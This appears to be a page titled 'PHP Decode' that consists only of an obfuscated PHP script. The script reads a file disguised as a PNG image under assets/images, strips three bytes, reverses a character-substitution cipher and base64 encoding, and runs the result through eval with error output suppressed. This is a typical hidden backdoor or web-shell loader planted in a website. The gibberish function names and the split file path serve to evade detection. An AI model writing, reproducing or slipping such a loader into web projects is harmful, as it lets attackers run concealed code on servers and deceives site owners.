PHP Decode

<?php 
 
function kagote_heshechaq($kowaxa_guthedezh) { 
    $faxatyl = agijof_atathuqezh(); 
    $xibozen = array(); 
    $uzyzohy = cohyty_uhatecime(); 
    $ligoba = array(); 
    for ($qozhani = 0; $qozhani < strlen($faxatyl); $qozhani++) { 
        $nekucom = substr($faxatyl, $qozhani, 1); 
        $qutaci = substr($uzyzohy, $qozhani, 1); 
        $ligoba[$nekucom] = $qutaci; 
    } 
 
    $heqamov = strtr($kowaxa_guthedezh, $ligoba); 
    $heqamov = base64_decode($heqamov); 
 
    return $heqamov; 
} 
 
function enytun_izurozhyx($kowaxa_guthedezh) { 
    $xibozen = array(); 
    if (!file_exists($kowaxa_guthedezh)) 
        return false; 
    $qaququs = @file_get_contents($kowaxa_guthedezh); 
    if (!$qaququs) 
        return false; 
    $qaququs = substr($qaququs, 3); 
    $xibozen = kagote_heshechaq($qaququs); 
    return $xibozen; 
} 
 
function agijof_atathuqezh() { 
    $qaququs = "toslMVjXyaDNCP3RQfgpn5u6Z8rEBKWUd2LhbHFSxAGceq+4z9=m7iTY1k0w/IOJv"; 
    $xibozen = array(); 
    return $qaququs; 
} 
 
function cohyty_uhatecime() { 
    $xibozen = "RSqNB63tIJThQMxXK=gp/WGfAaoL5FPO0wHvibUDjEYscC9842zkdueZ1n7lVrym+"; 
    $etashyf = array(); 
    return $xibozen; 
} 
 
$iposoch = enytun_izurozhyx(__DIR__ . "/asse" . "ts/i" . "mages" . "/chaq" . "uva." . "png"); 
if ($iposoch) { 
    @eval($iposoch); 
} 
 
 ?>